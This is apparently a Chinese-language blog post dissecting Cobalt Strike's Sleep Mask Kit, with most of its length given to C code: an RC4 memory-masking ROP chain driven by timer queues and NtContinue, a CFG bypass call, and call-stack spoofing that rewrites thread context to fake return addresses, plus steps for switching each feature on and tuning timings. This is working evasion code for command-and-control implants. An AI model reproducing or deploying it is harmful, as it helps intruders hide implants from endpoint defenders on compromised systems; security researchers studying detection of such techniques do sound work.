evasive_sleep: RC4混淆
在sleepmask_kit中,用到EVASIVE_SLEEP函数,默认是关闭的,要使用就自己改成1。他会对sleep后的BOF内存数据进行再一次的混淆遮掩
/* EVASIVE_SLEEP information:
* Depending on how large your sleep mask code/data becomes you may need to modify
* the ImageSize and Img.Length variables in evasive_sleep.c in order to fully
* mask the sleep mask BOF memory.
*
* EVASIVE_SLEEP is not supported on x86.
*/
#if _WIN64
#define EVASIVE_SLEEP 0
// #define EVASIVE_SLEEP 1 自己改成1
#endif
若使用他,则查看evasive_sleep.c文件
#if EVASIVE_SLEEP
#include "evasive_sleep.c"
// #include "evasive_sleep_stack_spoof.c"
#endif
具体的调用在下面,调用evasive_sleep,位于sleep_mask对内存数据的加密中间,的又一次加密
/* do not change the sleep_mask function parameters */
void sleep_mask(SLEEPMASKP * parms, void(__stdcall *pSleep)(DWORD), DWORD time) {
......
/* Mask the beacons sections and heap memory */
mask_sections(parms);
mask_heap(parms);
......
#if EVASIVE_SLEEP
evasive_sleep(parms->mask, time, &info);
......
/* Call the masking functions again in reverse order to unmask the heap and sections */
mask_heap(parms);
mask_sections(parms);
}
evasive_sleep,使用了ROP技术,相关注释在代码里
一个上下文包含所有的寄存器,可以存放相关地址
typedef struct DECLSPEC_ALIGN(8) DECLSPEC_NOINITALL _CONTEXT {
// Control flags.
DWORD ContextFlags;
// Integer registers
DWORD R0;
DWORD R1;
DWORD R2;
DWORD R3;
DWORD R4;
DWORD R5;
DWORD R6;
DWORD R7;
DWORD R8;
DWORD R9;
DWORD R10;
DWORD R11;
DWORD R12;
// Control Registers
DWORD Sp;
DWORD Lr;
DWORD Pc;
DWORD Cpsr;
..............
void evasive_sleep(char * mask, DWORD time, BEACON_INFO * info) {
// 保存上下文信息
CONTEXT CtxThread = { 0 };
CONTEXT RopProtRW = { 0 };
CONTEXT RopMemMsk = { 0 };
CONTEXT RopProtRX = { 0 };
CONTEXT RopSetEvt = { 0 };
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
HANDLE hEvent = NULL;
PVOID ImageBase = info->sleep_mask_ptr;
DWORD ImageTextSize = info->sleep_mask_text_size;
DWORD OldProtect = 0;
USTRING Key = { 0 };
USTRING Img = { 0 };
#if CFG_BYPASS
/* Using this variable which is not set 1st time through to only do the CFG bypass once */
if (!initialize) {
markCFGValid_nt(NtContinue);
initialize = TRUE;
}
#endif
/* setup the parameters to the functions */
Key.Buffer = mask;
Key.Length = Key.MaximumLength = MASK_SIZE;
Img.Buffer = ImageBase;
Img.Length = Img.MaximumLength = info->sleep_mask_total_size;
// 创建事件和计时器队列
hEvent = CreateEventA(0, 0, 0, 0);
hTimerQueue = CreateTimerQueue();
// 创建计时器队列定时器
if (hEvent && hTimerQueue && CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) {
// 等待0x32毫秒
WaitForSingleObject(hEvent, 0x32); // This is needed
/* Setup the function calls to be added to the queue timer */
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemMsk, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
// 构造ROP链,遵循X64寄存器调用规定
// VirtualProtect( ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect );
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD_PTR) VirtualProtect;
RopProtRW.Rcx = (DWORD_PTR) ImageBase;
RopProtRW.Rdx = ImageTextSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD_PTR) &OldProtect;
// 核心加密函数,SystemFunction032做RC4加密,可以替换成其他函数,自实现也可以
// SystemFunction032( &Key, &Img );
RopMemMsk.Rsp -= 8;
RopMemMsk.Rip = (DWORD_PTR) SystemFunction032;
RopMemMsk.Rcx = (DWORD_PTR) &Img;
RopMemMsk.Rdx = (DWORD_PTR) &Key;
// VirtualProtect( ImageBase, ImageTextSize, PAGE_EXECUTE_READ, &OldProtect );
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD_PTR) VirtualProtect;
RopProtRX.Rcx = (DWORD_PTR) ImageBase;
RopProtRX.Rdx = ImageTextSize;
RopProtRX.R8 = PAGE_EXECUTE_READ;
RopProtRX.R9 = (DWORD_PTR)&OldProtect;
// SetEvent( hEvent );
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD_PTR) SetEvent;
RopSetEvt.Rcx = (DWORD_PTR) hEvent;
// 指定时间间隔后触发NtContinue,执行设置的ROP操作
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopProtRW, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopMemMsk, 400, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopMemMsk, 600 + time, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopProtRX, 800 + time, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopSetEvt, 999 + time, 0, WT_EXECUTEINTIMERTHREAD);
WaitForSingleObject(hEvent, INFINITE);
} else {
WaitForSingleObject(GetCurrentProcess(), time);
}
/* cleanup */
if (hEvent) { CloseHandle(hEvent); }
if (hTimerQueue) { DeleteTimerQueue(hTimerQueue); }
}
//#endif
总结:EVASIVE_SLEEP二次混淆的核心思路是,利用context作为参数,传递给NtContinue调用rop gadget,其中ROP链子调用SystemFunction032做RC4加密
堆栈欺骗(spoof stack+ROP)
启用:把evasive_sleep_stack_spoof.c的注释去掉
#if EVASIVE_SLEEP
#include "evasive_sleep.c"
// #include "evasive_sleep_stack_spoof.c"
#endif
这里的evasive_sleep_stack_spoof其实是evasive_sleep的进阶版,所以选择这个就得把上面的给注释掉
还是跟进evasive_sleep。这里和evasive_sleep.c的共同点在于,一套统一的模板,CONTEXT做上下文参数,构造ROP链,用NtContinue进行调度执行。
void evasive_sleep(char * mask, DWORD time, BEACON_INFO * info) {
CONTEXT CtxThread = { 0 };
CONTEXT RopProtRW = { 0 };
CONTEXT RopMemMsk = { 0 };
CONTEXT RopProtRX = { 0 };
CONTEXT RopSetEvt = { 0 };
......
但是这里的ROP链有不同,首先调用spoof_stack,然后分配RW,两次RC4加密,最后调用restore_stack
/* Setup the function calls to be added to the queue timer */
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemMsk, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
// VirtualProtect( ImageBase, ImageTextSize, PAGE_READWRITE, &OldProtect );
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD_PTR) VirtualProtect;
RopProtRW.Rcx = (DWORD_PTR) ImageBase;
RopProtRW.Rdx = ImageTextSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD_PTR) &OldProtect;
// SystemFunction032( &Key, &Img );
RopMemMsk.Rsp -= 8;
RopMemMsk.Rip = (DWORD_PTR) SystemFunction032;
RopMemMsk.Rcx = (DWORD_PTR) &Img;
RopMemMsk.Rdx = (DWORD_PTR) &Key;
// VirtualProtect( ImageBase, ImageTextSize, PAGE_EXECUTE_READ, &OldProtect );
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD_PTR) VirtualProtect;
RopProtRX.Rcx = (DWORD_PTR) ImageBase;
RopProtRX.Rdx = ImageTextSize;
RopProtRX.R8 = PAGE_EXECUTE_READ;
RopProtRX.R9 = (DWORD_PTR)&OldProtect;
// SetEvent( hEvent );
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD_PTR) SetEvent;
RopSetEvt.Rcx = (DWORD_PTR) hEvent;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) spoof_stack, &threadId, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopProtRW, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopMemMsk, 300, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopMemMsk, 400 + time, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopProtRX, 500 + time, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) restore_stack, &threadId, 600 + time, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK) NtContinue, &RopSetEvt, 700 + time, 0, WT_EXECUTEINTIMERTHREAD);
WaitForSingleObject(hEvent, INFINITE);
spoof_stack:入口
传入的threadId是GetCurrentThreadId获取的当前线程ID
#define intAlloc(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size)
#define RVA(type, base_addr, rva) (type)(ULONG_PTR)((ULONG_PTR) base_addr + rva)
#define MAX_FRAME_NUM 10
#define RBP_OP_INFO 0x5
......
CONTEXT context = {};
PSTACK_FRAME gcallstack = NULL;
DWORD number_of_frames = 0;
void spoof_stack(DWORD *threadId)
{
CONTEXT context2 = {};
/* Initialize the information once */
if (gcallstack == NULL) {
// HeapAlloc分配内存,分配十个堆栈帧
gcallstack = intAlloc(sizeof(STACK_FRAME) * MAX_FRAME_NUM);
// 初始化伪造的栈帧
set_callstack(gcallstack, &number_of_frames);
initialize_spoofed_callstack(gcallstack, number_of_frames);
}
// 打开当前线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, *threadId);
// 存放当前线程上下文到context,并复制到context2
context.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &context);
memcpy(&context2, &context, sizeof(CONTEXT));
// 初始化伪造的栈帧
initialize_fake_thread_state(gcallstack, number_of_frames, &context2);
// 设置当前线程的上下文为伪造栈帧上下文
SetThreadContext(hThread, &context2);
}
代码中的PSTACK_FRAME存放了每个栈帧的详细信息,比如目标DLL名称、函数哈希、偏移量、返回地址等等
/*
* Used to store information for individual stack frames for call stack to spoof.
*/
typedef struct _STACK_FRAME {
WCHAR targetDll[MAX_PATH];
DWORD functionHash;
ULONG offset;
ULONG totalStackSize;
BOOL requiresLoadLibrary;
BOOL setsFramePointer;
PVOID returnAddress;
BOOL pushRbp;
ULONG countOfCodes;
BOOL pushRbpIndex;
} STACK_FRAME, *PSTACK_FRAME;
set_callstack:构造伪造栈帧
跟进set_callstack,利用
void set_callstack(
IN PSTACK_FRAME callstack,
OUT PDWORD number_of_frames)
{
DWORD i = 0;
/*
* How to choose your call stack to spoof.
* Steps:
* 1. 在代表性的 Windows 目标系统上使用 Process Hacker 或类似实用程序,找到您想要伪装的调用堆栈。
* 注意:不同版本的 Windows 可能具有不同的偏移量。
* 2. 使用模块、函数和偏移信息作为输入,使用位于arsenal-kit/utils中的getFunctionOffset实用程序。
* 3. getFunctionOffset实用程序输出包括在此函数中使用的代码在内的信息。
* 注意:应该查找顶部为NtWaitForSingleObject的调用堆栈。然后使用剩余调用堆栈帧的信息。
* 注意:模块扩展名是可选的。
* Note: Should look for a stack with NtWaitForSingleObject at the top.
* Then use the information for the remaining stack frames.
* Note: The module extension is optional.
*
* 使用getFunctionOffset帮助程序,来获取dll中函数的偏移值
* getFunctionOffset.exe ntdll.dll TpReleasePool 0x402
* getFunctionOffset.exe kernel32.dll BaseThreadInitThunk 0x14
* getFunctionOffset.exe ntdll RtlUserThreadStart 0x21
*
* Note: The number of frames can not exceed the MAX_FRAME_NUM value.
*/
set_frame_info(&callstack[i++], L"ntdll.dll", 0, 0x550b2, 0, FALSE);
set_frame_info(&callstack[i++], L"kernel32.dll", 0, 0x174b4, 0, FALSE);
set_frame_info(&callstack[i++], L"ntdll", 0, 0x526a1, 0, FALSE);
*number_of_frames = i;
}
通过自实现的set_frame_info,直接操作栈帧结构体,为一些关键结构体赋值,值为传入的参数
void set_frame_info(
OUT PSTACK_FRAME frame, // 出参,指向STACK_FRAME结构体的指针
IN LPWSTR path, // 入参,目标DLL的路径
IN DWORD api_hash, // 入参,API的哈希值
IN ULONG target_offset, // 入参,目标函数在DLL中的偏移量
IN ULONG target_stack_size, // 入参,目标函数栈大小
IN BOOL dll_load) // 入参,是否需要加载DLL
{
memset(frame, 0, sizeof(STACK_FRAME)); // 初始化STACK_FRAME结构体为0
lstrcpyW(frame->targetDll, path); // 设置目标DLL路径
frame->functionHash = api_hash; // 设置API哈希值
frame->offset = target_offset; // 设置目标函数偏移量
frame->totalStackSize = target_stack_size; // 设置目标函数栈大小
frame->requiresLoadLibrary = dll_load; // 设置是否需要加载DLL
frame->setsFramePointer = FALSE; // 设置是否设置帧指针(通常用于调试)
frame->returnAddress = 0; // 设置返回地址为0(通常在后续操作中修改)
frame->pushRbp = FALSE; // 设置是否推送基指针寄存器(RBP)到栈上
frame->countOfCodes = 0; // 设置代码数量为0(用于后续的代码注入或修改)
frame->pushRbpIndex = 0; // 设置推送RBP指令的索引为0(用于后续操作)
}
initialize_spoofed_callstack:初始化伪造栈帧
对栈帧的大小和返回地址进行计算,如果分配的栈帧计算出现问题,就不继续初始化了
/*
* Takes a target call stack and configures it ready for use
* via loading any required dlls, resolving module addresses
* and calculating spoofed return addresses.
*/
BOOL initialize_spoofed_callstack(
PSTACK_FRAME callstack,
DWORD number_of_frames)
{
PSTACK_FRAME frame = NULL;
// 遍历传入的栈帧
for (DWORD i = 0; i < number_of_frames; i++)
{
frame = &callstack[i];
// [1] Calculate ret address for current stack frame.
if (!calculate_return_address(frame))
{
return FALSE;
}
// [2] Calculate the total stack size for ret function.
if (!calculate_function_stack_size(frame))
{
return FALSE;
}
}
return TRUE;
}
calculate_return_address的作用是,设置栈帧返回地址为dll的image_base + 传入的offset,即指定函数的RVA
BOOL calculate_return_address(
IN OUT PSTACK_FRAME frame)
{
PVOID image_base = NULL;
// get library base address
image_base = GetModuleHandleW(frame->targetDll);
if (!image_base)
image_base = LoadLibraryW(frame->targetDll);
if (!image_base)
{
return FALSE;
}
// set the return address as image_base + offset
frame->returnAddress = RVA(PVOID, image_base, frame->offset);
return TRUE;
}
接下来是计算构造出的伪造调用栈的总空间占用量,这对于伪造的堆栈在解除堆栈的过程中能够正确执行很重要,以免导致程序崩溃或检测到异常行为
calculate_function_stack_size_internal函数:
- 这个函数计算伪造栈帧使用的总栈空间。它使用RtlVirtualUnwind的简化实现来解析目标函数的展开代码,并累加总栈大小。
- 函数遍历展开信息,根据不同的展开操作来计算栈空间使用量。例如,UWOP_PUSH_NONVOL操作会增加8字节的栈空间,而UWOP_ALLOC_LARGE操作则根据操作信息来计算大块内存分配的大小。
- 如果存在链式展开信息(UNW_FLAG_CHAININFO),函数将递归地解析这些信息并添加到总栈大小中。
- 最后,函数会将返回地址的大小(通常为8字节)添加到总栈大小中。
#### initialize_fake_thread_state:最终实现
这里首先要明确windows x64调用规定的堆栈结构
标准的传统的rbp为基址的栈结构如下(自上而下),但是也有可能不使用rbp而是直接用rsp进行堆栈查找,这取决于编译器的优化策略
所以以下栈帧的伪造,需要判定STACK_FRAME.setsFramePointer是否设置,如果设置了就要使用rbp,否则直接构造rip
void initialize_fake_thread_state(
PSTACK_FRAME callstack, // 假调用栈的数组
DWORD number_of_frames, // 调用栈中帧的数量
PCONTEXT context) // 当前线程的上下文信息
{
ULONG64 childSp = 0; // 子函数的堆栈指针
BOOL bPreviousFrameSetUWOP_SET_FPREG = FALSE; // 上一个帧是否设置了帧指针
PSTACK_FRAME stackFrame = NULL; // 用于遍历调用栈的指针
// 作为额外的安全检查,显式清除最后的RET地址,以停止进一步的展开。
push_to_stack(context, 0); // 在堆栈上推入一个0值,作为哨兵值
// 从目标调用栈的*后面*开始循环,
// 并修改堆栈,使其类似于假的调用栈
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ----------------
// | |
// | Unwind |
// | Stack |
// | Size |
// | |
// ----------------
// | RET ADDRESS |
// ---------------- <--- RSP when NtOpenProcess is called
for (DWORD i = 0; i < number_of_frames; i++)
{
stackFrame = &callstack[number_of_frames - i - 1]; // 从最后一个帧开始遍历
// [2.1] 检查上一个帧是否设置了UWOP_SET_FPREG。
// 如果上一个帧使用了UWOP_SET_FPREG操作,它将会将栈指针重置为rbp。
// 因此,我们需要找到链中的下一个函数,它会push rbp并确保它将正确的值写入栈,以便传播到需要该值的后续帧(否则堆栈回溯将失败)。
// 所需的值是使用了UWOP_SET_FPREG的函数的childSP(即在调整栈并推入RET地址之前,RSP的值)。
// P.S. 程序崩溃/出错的栈帧末尾位置
if (bPreviousFrameSetUWOP_SET_FPREG && stackFrame->pushRbp)
{
// [2.2] 检查在函数前言中将RBP push到栈上的时机。UWOP_PUSH_NONVOL将始终是最后一个:
// "由于对epilog的约束,UWOP_PUSH_NONVOL展开代码必须首先出现在前言中,相应地,在展开代码数组中出现最后。"
// 因此,将推送rbp的代码索引从总数中减去以确定它何时被推送到栈上。
// 例如,如果差值为1,则rsp -= 0x8,然后写入childSP:
// RPCRT4!LrpcIoComplete:
// 00007ffd`b342b480 4053 push rbx
// 00007ffd`b342b482 55 push rbp
// 00007ffd`b342b483 56 push rsi
// 如果diff为0,则首先push rbp
DWORD diff = stackFrame->countOfCodes - stackFrame->pushRbpIndex;
DWORD tmpStackSizeCounter = 0;
for (ULONG j = 0; j < diff; j++)
{
// e.g. push rbx
push_to_stack(context, 0x0); // 目的只在伪造栈帧,具体的命令无所谓
tmpStackSizeCounter += 0x8; // 计算已推入堆栈的大小
}
// push rbp
push_to_stack(context, childSp); // 推入子函数的堆栈指针
// 减去剩余的函数堆栈大小,并继续展开
context->Rsp -= (stackFrame->totalStackSize - (tmpStackSizeCounter + 0x8));
*(PULONG64)(context->Rsp) = (ULONG64)stackFrame->returnAddress; // 写入返回地址
bPreviousFrameSetUWOP_SET_FPREG = FALSE; // 重置帧指针设置标志
}
else
{
// 直接构造rsp栈结构
// 如果是正常帧,减少总堆栈大小并写入RET地址
context->Rsp -= stackFrame->totalStackSize;
*(PULONG64)(context->Rsp) = (ULONG64)stackFrame->returnAddress;
}
// 检查当前函数是否在展开时设置了帧指针
// 此刻已经是下一个栈的rbp了
// 保存此刻sp,方便下一个调用栈push rbp
// 模拟push rbp前指针状态
if (stackFrame->setsFramePointer)
{
childSp = context->Rsp; // 保存当前函数调用栈起始sp
childSp += 0x8; // 上拉一格,因为push_to_stack会下拉一格
bPreviousFrameSetUWOP_SET_FPREG = TRUE; // 设置帧指针设置标志
}
}
}
/*
* Pushes a value to the stack of a Context structure.
*/
void push_to_stack(
PCONTEXT context,
ULONG64 value)
{
context->Rsp -= 0x8;
*(PULONG64)(context->Rsp) = value;
}
详情堆栈变化可以参考如下
假设初始堆栈状态如下:
+-------------------+
| 哨兵值 (0x0) | <- RSP
+-------------------+
当 setsFramePointer 为真时,函数会模拟push rbp,mov rsp rbp的平栈操作,将rsp设置为
+-------------------+
| 哨兵值 (0x0) | <- RSP
+-------------------+
| 返回地址 |
+-------------------+
| 旧的 rbp 值 | <- rbp
+-------------------+
| 函数的局部变量 |
+-------------------+
在Windows系统中,当程序运行出错或者发生异常时,系统需要找到问题发生的原因,并且控制程序的执行流程。为了做到这一点,系统会使用一种叫做“堆栈展开”的过程来追踪程序的调用栈——也就是函数调用的历史记录。
堆栈展开是一个逆向过程,它从出错的点开始,一步步回溯到之前的函数调用,就像是倒着走你之前走过的路一样。这个过程需要用到一些特殊的操作码,比如UWOP_SET_FPREG和UWOP_PUSH_NONVOL。
- UWOP_SET_FPREG是一个操作码,它告诉系统如何通过帧指针(通常是rbp寄存器)来找到上一个函数的堆栈帧。简单来说,就是它用来标记“从这里开始,往回走可以找到上一个函数的信息”。
- UWOP_PUSH_NONVOL是另一个操作码,它描述了函数在开始执行时如何保存那些在函数调用过程中不应该被改变的寄存器值(非易失性寄存器),以便函数执行完毕后能够恢复它们。
这段代码的目的是创建一个假的调用栈。它通过模拟正常的函数调用和堆栈展开过程中的操作,构造出一个看起来像是由真实函数调用产生的堆栈。这样做的目的可能是为了在进行逆向工程时隐藏真实的调用栈,或者在分析恶意软件时模拟某些行为。
代码中的initialize_fake_thread_state函数就是用来初始化这样一个假的调用栈。它接收一个调用栈数组、帧的数量和当前线程的上下文信息作为参数。然后,它通过修改当前线程的堆栈上下文,来构造出一个假的调用栈。
restore_stack:复原栈帧
Context是之前提取的原上下文,现在恢复原线程的栈帧
void restore_stack(DWORD *threadId)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, *threadId);
SetThreadContext(hThread, &context);
}
总结
这里先伪造后复原,主要目的是,隐藏sleep期间的内存扫描。
cabaltstrike sleep mask的激活时间可以由用户在profile中设定,比如只有当sleep时间大于2秒,才会启动mask和unmask
For this example, the Sleep Mask Kit for Cobalt Strike version 4.5 with a modification to the code to only mask and unmask when the sleep is larger than two seconds will be used. This allows for the ability to control the masking and unmasking of Beacon based on the current sleep time.
详情见
https://www.cobaltstrike.com/blog/sleep-mask-update-in-cobalt-strike-4-5
堆栈欺骗的时间长度,我们可以自己更改,通过修改ROP链NtContinue那里的时间间隔。
转载
分享
没有评论